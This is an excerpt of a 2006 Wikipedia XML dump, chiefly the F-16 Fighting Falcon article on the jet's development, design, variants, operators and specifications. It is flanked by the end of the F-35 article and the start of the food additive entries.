*[http://www.pbs.org/wgbh/nova/xplanes/ PBS NOVA: Battle of the X-Planes (JSF selection)]
*[http://www.f-35jsf.net/ F-35 JSF news articles]
*[http://www.fas.org/man/dod-101/sys/ac/f-35.htm Data on the F-35 Joint Strike Fighter (JSF) by the Federation of American Scientists]
*[http://www.f-16.net/f-16_photos_album80.html F-35 photo gallery ]
*[http://www.raf.mod.uk/equipment/jsf.html F-35 Web Page at the Royal Air Force Website]
*[http://www.defenseindustrydaily.com/2005/12/itar-fallout-britain-to-pull-out-of-f35-jsf-program/index.php British threats of disassociation with the program]
*[http://www.globalsecurity.org/military/systems/aircraft/f-35.htm Global Security on the F-35 JSF Program]
*[http://www.ausairpower.net/jsf.html Air Power Australia JSF Page]

==Related content==
{{commons|F-35 Joint Strike Fighter}}
{{aircontent|

|sequence=
[[IAI Kfir|F-21]] -
[[F/A-22 Raptor|F/A-22]] -
[[YF-23 Black Widow II|YF-23]] -
'''F-35'''
&lt;br&gt;
[[Boeing X-32|X-32]] -
[[Lockheed Martin X-33|X-33]] -
[[Orbital Sciences X-34|X-34]] -
'''X-35''' -
[[McDonnell Douglas X-36|X-36]] -
[[Boeing X-37|X-37]] -
[[X-38]]

|similar aircraft=
*[[X-32]]
*[[Dassault Rafale]] 
*[[Sukhoi Su-47]] 
*[[Eurofighter Typhoon]] 
*[[Mikoyan Project 1.44]]


|lists=
* [[List of fighter aircraft]]
* [[List of experimental aircraft]]
* [[List of military aircraft of the United States]]

|see also=
* [[Comparison of 21st century fighter aircraft]]
* [[Royal Navy in the 21st century]]
* [[Future Offensive Air System]]
* [[X-plane]]

}}
{{featured article}}

[[Category:British attack aircraft 2000-2009]]
[[Category:British fighter aircraft 2000-2009]]
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[[Category:Stealth aircraft]]
[[Category:U.S. attack aircraft 2000-2009]]
[[Category:U.S. fighter aircraft 2000-2009]]
[[Category:VTOL aircraft]]

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  <page>
    <title>F-16 Fighting Falcon</title>
    <id>11813</id>
    <revision>
      <id>42102629</id>
      <timestamp>2006-03-03T21:16:20Z</timestamp>
      <contributor>
        <username>Spartian</username>
        <id>952421</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">[[Image:F-16_Fighting_Falcon.jpg|thumb|300px|F-16 Fighting Falcon over Iraq]]
The '''F-16 Fighting Falcon''' is a modern multi-role [[jet]] [[fighter aircraft]] built in the [[United States]]. Designed as a lightweight fighter, it evolved into a successful multi-role aircraft. The F-16 was developed by [[General Dynamics]]. In 1993 General Dynamics sold its aircraft manufacturing business to the [[Lockheed Corporation]], now [[Lockheed Martin]]. The Falcon's versatility is a paramount reason it was a success on the export market, and is serving 24 countries. It is the largest and probably most significant Western fighter program, with over 4000 aircraft built. Though no longer produced for the [[United States Air Force]], it is still produced for export.  The F-16 is one of the most famous fighters in the world, with a rakish silhouette and a fearsome reputation.

The Fighting Falcon is regarded as a superb dogfighter, with innovations such as the bubble canopy, side-mounted control stick, and reclined seat. It was also the first US fighter aircraft to match the [[English Electric Lightning]]'s ability to execute 9 [[Gee|g]] turns. Although the F-16's official popular name is &quot;Fighting Falcon&quot;, it is known to its pilots as the &quot;Viper&quot;, the General Dynamics codename for the project during its early development.

==History==
===Development===
The F-16 originated in a set of specifications by the [[United States Department of Defense]]. The deficiencies of the [[F-4 Phantom II]] in aerial combat in the [[Vietnam War]], particularly at close ranges, shaped the specifications for the [[F-15 Eagle]]. An informal and influential group nicknamed the &quot;Fighter Mafia&quot;, among them systems analyst [[Pierre Sprey]], test pilot [[Charles E. Meyers]], and former instructor pilot [[John Boyd (military strategist)|John Boyd]], believed the F-15 was a move in the wrong direction. They argued that the F-15 was too large and expensive. Designed as a fast interceptor, it had a wide turn radius and was not well suited to close range dogfighting. The Fighter Mafia argued for a lighter fighter with superb maneuverability, that was cheap enough to deploy in numbers. These specifications became the [[Lightweight Fighter]] (LWF) program, begun in 1971.

The LWF specified a plane weighing 20,000 pounds (9,000 kg), half the weight of the F-15, stressing low cost, small size, range, and emphasising maneuverability &amp;mdash; turn rate and acceleration &amp;mdash; at the expense of top speed. Its ideal operating environment was intended to be under Mach 1.6 and 40,000 feet (12,000 m). Two companies were chosen during the concept stage: [[General Dynamics]] with the '''YF-16''' design and [[Northrop]] with a design which bore the name [[YF-17 Cobra]]. 

The LWF faced significant opposition in the Air Force because it was seen as competition to the F-15, the Air Force's premier fighter program. To head off opposition the project was redesignated Air Combat Fighter (ACF). At this time, [[Belgium]], [[Denmark]], the [[Netherlands]], and [[Norway]] were seeking a replacement for their [[F-104 Starfighter]]s, and formed the [[Multinational Fighter Program Group]] to choose a replacement. Both ACF aircraft were in consideration, as well as the [[Dassault Mirage F1]] and the [[Saab Viggen]]. Also during this time, the Navy was looking for a low-cost alternative to the [[F-14 Tomcat]], a similarly expensive, costly interceptor as the F-15, in a program called [[VFAX]]. Congress directed the Navy to use the same aircraft as the ACF programme. As the VFAX was envisioned to be a multi-role aircraft, this requirement made it into the ACF specifications as well, staving off direct competition with the F-15 as it was pitched to be a counterpart.

The first flight of the YF-16 prototype was in 1974. The first prototype was powered by the Pratt &amp; Whitney F100-PW-100 turbofan engine also used on early versions of the McDonnell Douglas F-15 Eagle. On January 13, 1975, the Air Force chose the YF-16 as the winner of the ACF competition as it gave superior performances across the board and promised to be cheaper to procure and maintain. It used the same engine as the F-15, which F-15 supporters believed would help their program. There were also political concerns with keeping General Dynamics in business after the end of the [[General Dynamics F-111|F-111]] program. The [[US Navy]] chose to have the YF-17 design developed into the [[F/A-18]] because it offered twin-engined reliability, then viewed as essential for over-water operations.

The plane was offered to NATO members, and made an appearance at the 1975 [[Paris Air Show]]. The MFPG nations agreed to purchase 348 planes, with final assembly to take place in Belgium (SABCA), The Netherlands (FOKKER) and various parts subcontracted among them.

==Production==
Initially, the F-16 was manufactured in two models: &quot;A&quot; (single-seat combat version) and &quot;B&quot; (combat-capable two-seat trainer). The F-16A first took flight in December [[1976 in aviation|1976]] and was first delivered to the [[388th Tactical Fighter Wing]] in January 1979. In the same month, they were delivered to the Belgian Air Force. The F-16 is the first American fighter to be concurrently deployed domestically and abroad. The B model is a trainer version with an extended canopy to accommodate a second pilot, also reducing fuel and avionics growth space. Typically the student pilot sits in the front cockpit with the instructor pilot behind.

In the 1980s, the F-16A/B was superseded by the F-16C/D with improved avionics and engine. The F-16 has been continually upgraded throughout its production history; block designations reflect significant upgrades and are outlined below. The empty weight of F-16 grew from 15,600 pounds (Block 10 F-16A) to 19,200 (Block 50 F-16C). 

=== Combat service ===
[[Image:F-16C01.jpg|thumb|350px|F-16 with a full weapons load. 
]]
Due to their ubiquity, the F-16s have participated in numerous conflicts, most of them in the [[Middle East]]. In [[1981 in aviation|1981]], 4 [[Israel]]i F-16s participated in a raid that destroyed [[Osiraq]], an [[Iraq|Iraqi]] [[nuclear reactor]] near [[Baghdad]]. During the same year, the [[Israeli Air Force]] obtained the first shot downs for the entire F-16 series, shooting down a [[Syrian]] [[Mi-8]] [[helicopter]] and a [[MiG-21]] jet. The following year, during [[Operation Peace for Galilee]] ([[1982 Lebanon War|Lebanon War]]) Israeli F-16s engaged on numerous occasions with [[Syrian]] aircraft, ending up victorious at all times but one. F-16s were also used afterwards in their ground-attack role for strikes against targets in [[Lebanon]]. In the [[Gulf War]] of [[1991 in aviation|1991]], F-16 from the air forces of the [[Coalition]] participated in the strikes against Iraq.

The Air Force primarily operates Block 40/42 and 50/52 F-16C's on active duty, while most Block 25 and 30/32 airframes have been moved to the [[Air National Guard]] and the Air Force Reserve.

The [[F-35_Joint_Strike_Fighter|F-35]] &quot;Joint Strike Fighter&quot; is the F-16's intended replacement, possessing slightly improved performance and most importantly, stealth technology, which will enhance its survivability in the modern battlespace.
&lt;br clear=&quot;all&quot;/&gt;

==Design characteristics==
The F-16 is a single engine, multi-mission tactical aircraft. It is equipped with an [[M61 Vulcan]] cannon in the left wing root, and can be equipped with air-to-air missiles. However, the F-16 can also perform ground-support tasks if necessary. For that task, it can be equipped with a large variety of missiles or bombs.

From the very beginning, the F-16 was intended to be a cost-effective &quot;workhorse,&quot; that could perform various kinds of missions and maintain around-the-clock readiness. It is much simpler and lighter than its predecessors, but uses advanced [[aerodynamics]] and [[avionics]] (including the first use of [[Aircraft_flight_control_systems#Fly-by-wire|fly-by-wire]], earning it the nickname of &quot;the electric jet&quot;) to maintain good performance. 

[[Image:F16 Cockpit, Asian Aerospace 2006.JPG|thumb|right|300px|F-16 Cockpit]]
[[Image:F-16 CJ Fighting Falcon.jpg|thumb|right|300px|F-16C Fighting Falcon]]

===Ergonomics and visibility===
The pilot sits high in the [[fuselage]] with the canopy support-bow behind him, out of his line of view. This and the bubble canopy give the pilot an unobstructed field of view, a feature vital during air-to-air combat. The seat is reclined 30 degrees instead of the usual 13, the myth being to improve pilot G tolerance. In fact, the seat is reclined further back to fit the seat into such a low, narrow (originally radar-less) nose. If the seat was not reclined the front fuselage would have to be much higher. The control stick is mounted on the right armrest rather than between the legs as is traditional, to aid in maneuvering during high-g turns. In addition, a holographic [[Head-Up Display]] displays vital information in the pilot's field of view.

===Fly by wire===
The F-16 uses computerized [[Aircraft_flight_control_systems#Fly-by-wire|fly-by-wire]] and has no physical linkages between the control stick and the flight surfaces.  Computer control is necessary for flight as a result of the inherent negative stability of the aircraft, a trait which trades stable flight for increased maneuverability.

This lack of physical linkages between the control stick and the flight surfaces led to an unusual characteristic in the design of the control stick: originally, it did not move.  The control stick instead detected pressure applied by the pilot and translated that pressure into control of the aircraft.  This arrangement proved uncomfortable and difficult for pilots to adjust to, so the control stick was given a small amount (less than a quarter of an inch in any direction) of play.

The onboard computer makes thousands of calculations and corrections each second to keep the plane flying, freeing pilots to concentrate on tasks necessary to fulfill their intended role.  The enhanced computer oversight also provides automatic flight coordination, utilizing all control surfaces (including the rudder) to keep the aircraft from entering performance hurting or even potentially dangerous situations such as unintentional [[Slip (aerodynamic)|slip]]s or [[Skid (aerodynamic)|skid]]s.

Early critics of the F-16 felt that the completely electronic control system would dramatically decrease safety, but a predicted rash of fly-by-wire based accidents has not materialized.

===Negative static stability===
An aircraft with negative static stability will, in the absence of control input, depart from level and controlled flight. Most aircraft are designed with positive static stability, where a plane tends to return to its original attitude following a disturbance. However, positive static stability hampers maneuverability, as the tendency to remain in its current attitude opposes the pilot's effort to maneuver, and so a plane with negative static stability will be more maneuverable. With a fly-by-wire system, such a plane can be kept in stable flight, its instability kept in check by the flight computers.

The YF-16 was the world's first aircraft to be slightly aerodynamically unstable by design. This feature is officially called &quot;relaxed static stability&quot;. Subsonic, the aeroplane is constantly on the verge of going out of control. This tendency is constantly caught and corrected by the DFLCC (Digital Flight Control Computer), allowing for stable flight. When supersonic, the airplane exhibits positive static stability due to aerodynamic forces acting on the strake section of the wing.

==Versions==
F-16 models are denoted by sequential block numbers to denote significant upgrades. The blocks cover both single and two-seater versions. An intricate [[Multinational Staged Improvement Program]] was instituted to gradually upgrade the F-16 and retroactively implement the upgrades in delivered aircraft.

===F-16 A/B===
The F-16 A/B was initially equipped with the [[Westinghouse Electric Corporation|Westinghouse]] [[AN/APG-66]] [[Pulse-doppler radar]], [[Pratt &amp; Whitney F100|Pratt &amp; Whitney F100-PW-200]] turbofan, rated at 14,670 lbf (64.9 kN), 23,830 lbf (106.0 kN) with afterburner. The USAF bought 674 F-16A's and 121 F-16B's, with delivery completed in March 1985.

*'''Blocks 1''' &lt;br&gt; Early blocks (Block 1/5/10) with relatively minor differences between each. Most were later upgraded to the Block 10 configuration in the early 80's. There were 94 Block 1, 197 Block 5, and 312 Block 10 aircraft produced.  Block 1 is the early production model with the nose cone painted black.

*'''Block 5''' &lt;br&gt; It was discovered that the black nose cone became an obvious visual identification at long range for the Block 1 aircraft, so the color of the nose cone is consequently changed to the low visibility grey for Block 5 aircraft.  During the operation of F-16 Block 1, it was discovered that the rain water had accumulated in certain spots within the fuselage, so drainage holes were drilled in the forward fuselage and tail fin area for Block 5 aircraft.

*'''Block 10''' &lt;br&gt; The Soviet Union significantly reduced the export of titanium during the late 1970's, so manufacturers of the F-16 used aluminium instead.  New methods were also used:  the corrugated aluminium is bolted to the epoxy surface for Block 10 aircraft, replacing the old method of aluminium honeycomb being glued to the epoxy surface used in earlier aircraft.

*'''Block 15''' &lt;br&gt; The first major change in the F-16, the Block 15 aircraft featured larger horizontal stabilizers, the addition of two hardpoints to the chin inlet, improved [[AN/APG-66]] radar, increased capacity of underwing hardpoints. The F-16 gained the [[Have Quick II]] secure [[Ultra high frequency|UHF]] radio. To counter the additional weight of the new hardpoints, the horizontal stabilizers were enlarged by 30%. Block 15 is the most numerous variant of the F-16, with 983 produced. The last one was delivered in 1996 to Thailand.

*'''Block 15 OCU''' &lt;br&gt; From 1987 Block 15 aircraft were delivered to the Operational Capability Upgrade (OCU) standard, which featured improved F100-PW-220 turbofans with digital control interface, the ability to fire the [[AGM-65]], [[AMRAAM]], and [[AGM-119 Penguin]] missiles, countermeasures and cockpit upgrades, improved computers and data bus. Its maximum takeoff weight increased to 37,500 lb (17,000 kg). 214 aircraft received this upgrade, as well as some Block 10 aircraft, retroactively.

* '''Block 20''' &lt;br&gt; 150 Block 15 OCU's for Taiwan with the addition of most of the F-16 C/D capability:  carriage of [[AGM-45 Shrike]], [[AGM-84 Harpoon]], [[AGM-88 HARM]], and the[[LANTIRN]] pod.  The computers onboard Block 20 is siginificantly improved in comparison to the earlier versions, with the overall processing speed increased 740 times and the overall memory storage increased 180 times in comparison to that of Block 15 OCU.

===F-16 C/D===
* '''Block 25'''&lt;br&gt;The Block 25 F-16C first flew in June 1984 and entered USAF service in September. The aircraft are fitted with the Westinghouse [[AN/APG-68]] radar, have a precision night attack capability and are fitted with the [[Pratt &amp; Whitney F100|Pratt &amp; Whitney F100-PW-220E]] turbofan, with digital control interface. The USAF is the sole user of this variant, with 209 models delivered.

* '''Block 30/32''' &lt;br&gt;The first aircraft subject to the Alternative Fighter Engine project under which aircraft could be fitted with the traditional Pratt &amp; Whitney engines or for the first time the [[General Electric F110]]. Blocks ending in 0 are powered by GE, blocks ending in 2 are fitted with [[Pratt &amp; Whitney]] engines. &lt;br&gt; The first Block 30 F-16 entered service in 1987. Major differences include the carriage of the [[AGM-45 Shrike]] and [[AGM-88 HARM]] missiles. From Block 30D aircraft were fitted with enlarged inlets for the increased thrust GE engine, Block 32s were not modified in this way. 733 were produced and delivered to six countries.

* '''Block 40/42 (F-16 CG/DG) ''' &lt;br&gt;Entering service in 1988, the Block 40/42 is the improved all-day/all-weather strike variant with [[LANTIRN]] pod, the night capability gives rise to the name &quot;Night Falcons&quot;. The block features strengthened and lengthened undercarriage for [[LANTIRN]] pods, improved radar, and a GPS receiver. From 2002 the Block 40/42 increases the weapon range available to the aircraft including [[JDAM]], [[JSOW]], [[WCMD]] and the (Enhanced) EGBU-27. Also incorporated in this block was the addition of ANVIS compatible lighting systems. The TCTO (Time Compliance Technical Order) that added the NVIS compatible systems was completed in 2004. 615 aircraft were delivered to 5 countries.

* '''Block 50/52 (F-16 CJ/DJ)''' &lt;br&gt;Block 50/52 was first delivered in late 1991, the aircraft are equipped with improved [[GPS]]/[[INS]]. All aircraft feature helmet-mounted-cueing allowing off-boresight air-to-air missile firing. The aircraft can carry a further batch of advanced missiles; the [[AGM-84 Harpoon]] missile, JDAM, JSOW and WCMD. Block 50 aircraft are powered by the F110-GE-129 while the Block 52 jets use the F100-PW-229.

* '''Block 50D/52D Wild Weasel''' An advanced [[SEAD|Suppression of Enemy Air Defences]] &quot;[[Wild Weasel]]&quot; capability is provided by the AN/ASQ-213 HARM Targeting System (HTS), allowing greater range and more precision by utilizing the known range mode of the HARM. It can carry the ALQ-119 Electronic Jamming Pod for self protection. With the retirement of the F-4G Wild Weasel, the 50/52D is now the sole provider of SEAD missions.

* '''Block 50/52 Plus''' &lt;br&gt; These aircraft are fitted with the latest avionics (including the [[ALE-50 Towed Decoy System]]) and provisions for [[Conformal Fuel Tanks]] (CFTs). The Greek Air Force ordered this version with the CFTs.  All two-seat &quot;Plus&quot; airframes include the enlarged Avionics Dorsal Spine which adds 30 cubic feet (850 L) to the airframe for more avionics with only small increases in weight and drag.  This version is sometimes called F-16U and is the fundation of F-16 E/F Block 60.

*'''F-16I''' &lt;br&gt; Block 50/52 Plus for Israeli Defense Force - Air Force, with significant Israeli avionics replacing that of American firms (Such as Israeli Aerial Towed Decoy replacing the ALE-50).  The addition of Israeli built autonomous aerial combat maneuvering instrumentation systems enables the training exercises to be conducted without the dependence on the ground instrumentation systems, and the helmet mounted sight is also a standard equipmnet.  The F-16I also has the Israeli built removable conformal fuel tanks added. 

*'''F-16 CCIP''' &lt;br&gt;The Common Configuration Implementation Program seeks to standardise all Block 40/42/50/52 F-16s to 50/52 configuration for simplified training and maintenance.

===F-16 E/F===
* '''Block 60''' &lt;br&gt;Based on the F-16C/D, it features conformal fuel tanks and improved radar and avionics; it has only been sold to the [[United Arab Emirates]]. The General Electric F110-132 is a development of the -129 model and is rated at 32,500 lbf (144 kN). A major difference from previous Blocks is the [[Northrop Grumman]] [[APG-80]] Active Electronically Scanned Array ([[AESA]]) radar. Block 60 allows the carriage of all Block 50/52 aircraft-compatible weaponry as well as [[ASRAAM]] and the [[AGM-84E]] Standoff Land Attack Missile (SLAM). The CFTs provide an additional 450 US gallons (2,045 litres) of fuel allowing increased range or time on station. This has the added benefit of freeing up hardpoints for weapons, i.e. hardpoints that would have been occupied by underwing fuel tanks.  Theoretically, the aircraft could be purchased by the United States Air Force, but in practice the USAF has shown little interest in acquiring new F-16s given that it has an extensive &quot;boneyard&quot; fleet of the planes at the [[Aerospace Maintenance and Regeneration Center]] and is planning to take delivery of the new [[F-35 Joint Strike Fighter]] by the end of the decade.&lt;br /&gt;
** A single-seat version of the [[F-16XL]] was to be designated F-16E, with the twin-seat variant designated F-16F.  This was sidelined by the Air Force's selection of the [[F-15E Strike Eagle]] in the 1980s Enhanced Tactical Fighter flyoff.

==Other variants==
* '''F-16/79''' - Modified export-version F-16A designed for use with the outdated [[J79]] turbojet engine in answer to President [[Jimmy Carter]]'s directive to curtail arms proliferation by selling only reduced capability weapons. However, numerous exceptions were made, and with the later relaxation of the policy under President Carter and cancellation under President [[Reagan]], no copies were ultimately sold.

* '''F-16/101''' - Modified F-16A designed for use with the [[General Electric F101]] turbofan engine from the [[B-1 Lancer|B-1A]] program. GE attempted to rework the engine for fighter usage, but it was never adopted for the F-16.  Data from the F-16/101 assisted in the development of the F110 turbofan.

* '''F-16ADF''' - upgraded Block 15 for United States [[Air National Guard]]'s fighter interception mission (hence the name Air Defense Fighter). Begun in 1989, 270 airframes were upgraded. Avionics were upgraded (including the addition of an IFF interrogator and bird slicing IFF antennas), and a spotlight fitted forward and below the cockpit, for night time identification. This was the only US version equipped with the AIM-7 Sparrow air-to-air missile.  Beginning in 1994 these aircraft began to be replaced by newer F-16C variants.  By 2005 only the North Dakota ANG was flying this example.

* '''[http://www.israeli-weapons.com/weapons/aircraft/f-16i/F-16I.html F-16I]''' - a version with improved avionics, manufactured for [[Israel]]. Its avionics were significantly modified with Israeli components, and conformal fuel tanks fitted to increase its range. Initial orders were made in 1997 with the first deliveries in December 2003.

* '''[[Mitsubishi F-2|F-2A/B]](FS-X)''' - Indigenous F-16 inspired design produced in [[Japan]] by [[Mitsubishi|Mitsubishi Heavy Industries]], with cooperation from Lockheed Martin. It is larger and utilizes mainly Japanese avionics.

* '''[[F-16XL]]''' - a delta-wing version used by [[NASA]] for aeronautical research, once conceived of as a possible competitor for the [[Enhanced Tactical Fighter]] program, later won by the [[F-15E]].  If the F-16XL had gone into production, it would have been designated F-16E/F (single/twin seat).  Two examples were built, one single seat and one two-seat version.

* '''RF-16C/F-16R''' - [[reconnaissance]] version that carries the [[ATARS]] package.

* '''F-16 MLU''' - (Mid Life Update) An update of the F-16 A/B to the Block 20 standard for the Royal Netherlands Air Force, the Belgian Air Force, the Royal Danish Air Force, the Royal Norwegian Air Force and the Portuguese Air Force.

* '''F-16N''' - 22 Block 30 aircraft delivered to the U.S. Navy for use as aggressor trainers.  These aircraft were delivered in 1987-1988.  VF-126 and The Navy Fighter Weapons School operated them at NAS Miramar.  East coast squadrons were VF-43 at NAS Oceana and VF-45 at NAS Key West.  Each squadron had one TF-16N and 5 F-16N, with the exception of NFWS which had 7.  Due to the high stress of constant combat training the wings of these aircraft began to crack and the Navy announced their retirement in 1994 and they were sent to AMARC by 1995.  As adversary aircraft they were notable for their colorful appearance.  Most F-16Ns were painted in a three-tone blue and gray &quot;ghost&quot; scheme. Top Gun had some of the more colorful ones: a three-color desert scheme, a light blue one and a green splinter camo version with Marine markings. VF-126 also had a unique blue example.  In 2002 the Navy began to receive 14 F-16 A and B models from AMARC, once again for adversary training and painted in exotic schemes.

* '''TF-16N''' - Four two-seaters delivered to the U.S. Navy for use as aggressor trainers. Each of the four Navy F-16 adversary squadrons had one example of this version.

* '''KF-16''' - 180 licensed by Lockheed Martin in 1990's. Almost 2,500 parts changed from the original F-16E/F. Also in the late 1990's, Lockheed and KAI produced the first Korean Indigenous plane, the T-50/A-50. Modeled from the original F-16. About $22 million in cost and the South Korean government has ordered 94 planes in 2004. About 1200 expected to be sold.
[[Image:F-16_VISTA.jpg|thumb|The F-16 VISTA]]
* '''F-16 VISTA''' - Lockheed-Martin's experimental F-16 with thrust vector control. The VISTA program is considered as successful but the thrust vector control (TVC) never made it into fighter versions.

* '''AFTI/F-16''' -

==Operators==
{{main|Operators of the F-16 Fighting Falcon}}

Total delivered or on order as of 2005:

*[[United States Air Force]]: 2507 (some sold to other countries)
*[[United States Navy]]: 40
*Other air forces: 2401
**[[Royal Bahraini Air Force]]: 22
**[[Belgian Air Force]]: 160 
**[[Chilean Air Force]]: 10+18
**[[Danish Air Force]]: 78
**[[Egyptian Air Force]]: 220
**[[Hellenic Air Force]]: 170
**[[Royal Jordanian Air Force]]: 24 
**[[Indonesian Air Force]]: 10
**[[Israeli Air Force]]: 382
**[[Aeronautica Militare Italiana|Italian Air Force]]: 34
**[[Royal Netherlands Air Force]]: 213
**[[Royal Norwegian Air Force]]: 72
**[[Royal Oman Air Force]]: 12
**[[Pakistan Air Force]]: 40
**[[Polish Air Force]]: 48
**[[Portuguese Air Force]]: 45
**[[Republic of Singapore Air Force]]: 60
**[[Republic of China Air Force|Republic of China (Taiwan) Air Force]]: 150
**[[Republic of Korea Air Force]](ROKAF): 180
**[[Royal Thai Air Force]]: 61
**[[Turkish Air Force]]: 240
**[[United Arab Emirates Air Force]]: 80 
**[[Venezuelan Air Force]]: 24
*Total number manufactured: 4,426

*Unit cost:
**F-16A/B: 1998USD 14.6 million
**F-16C/D: 1998USD 18.8 million
**late models: 1998USD 26.9 million

==Current sale proposal by the USA==
Recently Lockheed Martin has entered in discussion with the [[India]]n ministry of defence which is looking out for replacing its aging fleet of MiG-21. But the signals coming out from the chambers of [[Indian Air Force]] do not depict a rosy picture for this aircraft. 

Following the recent earthquake, Pakistan recently reported that it is going to delay purchase of 50 late-model F-16s (F-16C/D, Block 50/52) along with some secondhand USAF F-16s. It will however immediately purchase 26 second hand F-16 As and Bs from European countries.

==Manufacturers==
*[[General Dynamics]] / [[Lockheed Martin|Lockheed Martin Aeronautics Company]] ([[United States|USA]])
*[[Turkish Aerospace Industries]] ([[Turkey]])
*[[Fokker]] ([[Netherlands]])
*[[Société Anonyme Belge de Constructions Aéronautiques|SABCA]] ([[Belgium]])
*[[Denmark]]
*[[Kongsberg Defence &amp; Aerospace|Kongsberg Vaapenfabrikk]] and others ([[Norway]])
*[[Korea Aerospace Industries]] ([[Korea]])

==Specifications (F-16)==
[[Image:F-16Schematic.jpg|thumb|300px|F-16 3 View Schematic]]
[[Image:F-16C.jpg|thumb|350px|]]
===General characteristics===
* '''Crew:''' 1 (A/C/E), 2 (B/D/F)
* '''Length:''' 49 ft 5 in (14.8 m)
* '''Wingspan:''' 32 ft 8 in (9.8 m)
* '''Height:''' 16 ft (4.8 m)
* '''Wing area:''' 300 ft&amp;sup2; (27.87 m&amp;sup2;)
* '''Empty:''' 18,238 lb (8,272 kg)
* '''Loaded:''' 26,463 lb (12,003 kg)
* '''Maximum takeoff:''' 42,300 lb (16,875 kg)
* '''Powerplant:'''
** '''F-16A/B:''' [[Pratt &amp; Whitney F100]]-PW-200 turbofan, 14,670 lbf (64.9 kN), afterburning 23,830 lbf (106.0 kN)
** '''F-16C/D:''' 
*** '''Block 25/32/42:''' [[Pratt &amp; Whitney F100]]-PW-220 turbofan, 14,590 lbf (64.9 kN), afterburning 23,770 lbf (105.7 kN)
*** '''Block 30/40:''' [[General Electric F110]]-GE-100 turbofan, 17,155 lbf (76.3 kN), afterburning 28,984 lbf (128.9 kN)
*** '''Block 50:''' [[General Electric F110]]-GE-129 turbofan, 17,155 lbf (76.3 kN), afterburning 28,984 lbf (128.9 kN)
*** '''Block 52:''' [[Pratt &amp; Whitney F100]]-PW-229 turbofan, 17,000 lbf (75.6 kN), afterburning 28,500 lbf (127 kN)
** '''F-16E/F:''' [[General Electric F110]]-GE-132 turbofan, 19,000 lbf (84.5 kN), afterburning 32,500 lbf (144.6 kN)

===Performance===
* '''Maximum speed:''' 1,321 mph = 2100 km/h = 600 m/s (Mach 2.05 at altitude)
* '''Range:''' more than 2,000 miles ferry range
* '''Service ceiling:''' 55,000+ ft (15,240 m)
* '''Rate of climb:''' 50,000 ft/min 
* '''Wing loading:''' 53 lb/ft&amp;sup2;
* '''Thrust/weight:''' 0.91 lbf/lb (8.8 N/kg)

===Armament===
*'''Guns:''' 1x [[M61 Vulcan]] 20 mm [[Gatling gun]]
*'''Rockets:''' [[CRV-7]]
*'''Missiles:'''
**'''Air-to-air:''' 6x [[AIM-9 Sidewinder]], 6x [[AIM-120 AMRAAM]]
**'''Air-to-ground:''' 6x [[AGM-65 Maverick]], 4x [[AGM-88 HARM]]
**'''Anti-ship:''' 4x [[Penguin missile|AGM-119 Penguin]]
*'''Bombs:''' 2x [[CBU-87]] cluster, 2x [[CBU-89]] gator mine, 2x [[CBU-97]], 2x GBU-10 [[Paveway]], [[GBU-12 Paveway II]], [[Paveway]]-series laser-guided bombs, 2x [[Joint Direct Attack Munition|JDAM]], 6x [[Mark 84 bomb|Mk 80 series]], and also nuclear bombs such as the [[B61 nuclear bomb]].

==Films==
The F-16 can be seen in the 1983 film ''[[Blue Thunder]]'', ''1985'' ''[[Jewel Of The Nile]]'', 1986 ''[[Iron Eagle]]'', 2002 ''[[The Sum of All Fears]]''.

==Games==
Due to its widespread adoption, the F-16 has been a popular model for PC flight simulators, appearing in over 20 games. Most notable among them is [[Falcon (computer game)]], regarded as the most accurate F-16 simulation and arguably one of the most accurate military flight simulations. For example, it has the option of simulating the actual pre-flight checks, which consist of several minutes of button toggling before one can light the engine.

Other F-16 flight simulators include ''[[F-16 Fighting Falcon (computer game)|F-16 Fighting Falcon]]'' (1984), ''[[Falcon (computer game)|Falcon]]'' (1987), ''[[Jet (computer game)|Jet]]'' (1989), ''[[Falcon (computer game)|Falcon 3.0]]'' (1991), ''[[iF-16]]'' by Interactive Magic (1997), ''[[F-16 Multi-role Fighter]]'' by [[Novologic]] (1998), and ''[[F-16 Aggressor]]'' by [[General Simulation]] (1999).

==External links==
*[http://www.f-16.net F-16.net] Extensive and up-to-date F-16 Fighting Falcon resource.
*[http://www.fas.org/man/dod-101/sys/ac/f-16.htm Federation of American Scientists] The F-16 Weapons Platform
*[http://www.habu2.net/vipers/index.html F-16 Viper Information Page] - Extensive F-16 reference related to scale models of the F-16, covering almost all available kits.

==Related content==
{{aircontent|

|similar aircraft=
[[IAI Lavi]] -
[[Light Combat Aircraft]] -
[[Saab Gripen]] -
[[Chengdu J-10]] -
[[Dassault Mirage 2000|Dassault Mirage 2000]] - 
[[JF-17]]

|sequence=
[[Lockheed YF-12|YF-12]] -
[[F-14 Tomcat|F-14]] -
[[F-15 Eagle|F-15]] -
'''F-16''' -
[[YF-17 Cobra|F-17]] -
[[F/A-18 Hornet|F/A-18]] -
[[F-20 Tigershark|F-20]]

|see also=
[[Mitsubishi F-2]] - 
[[KAI T-50 Golden Eagle]]
}}

==See also==
{{Commons|General Dynamics F-16}}
*[[List of military aircraft of the United States]]
*[[List of fighter aircraft]]
*[[Comparison of 21st century fighter aircraft]]

[[Category:U.S. fighter aircraft 1970-1979]]

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  </page>
  <page>
    <title>Food additives</title>
    <id>11814</id>
    <revision>
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      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Food additive]]
</text>
    </revision>
  </page>
  <page>
    <title>Food additive</title>
    <id>11815</id>
    <revision>
      <id>42125698</id>
      <timestamp>2006-03-04T00:07:34Z</timestamp>
      <contributor>
        <ip>86.141.66.209</ip>
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      <comment>/* Numbering */</comment>
      <text xml:space="preserve">'''Food additives''' are substances added to food to preserve flavour or improve its taste and appearance.
Some additives have been used for centuries; for example, preserving food by [[pickling]] (with [[vinegar]]), [[edible salt|salt]]ing, as with [[bacon]], or using [[sulfur dioxide]] as in some [[wine]]s. With the advent of processed foods in the second half of the [[20th century]], many more additives have been introduced, of both natural and artificial origin.

==Numbering==

To regulate these additives, and inform consumers, each additive is assigned a unique number. Initially these were the &quot;[[E number]]s&quot; used in [[Europe]] for all approved additives. This numbering scheme has now been adopted and extended by the [[Codex Alimentarius]] Committee to internationally identify all additives, regardless of whether they are approved for use.

E numbers are all prefixed by &quot;[[E]]&quot;, but countries outside Europe use only the number, whether the additive is approved in Europe or not.
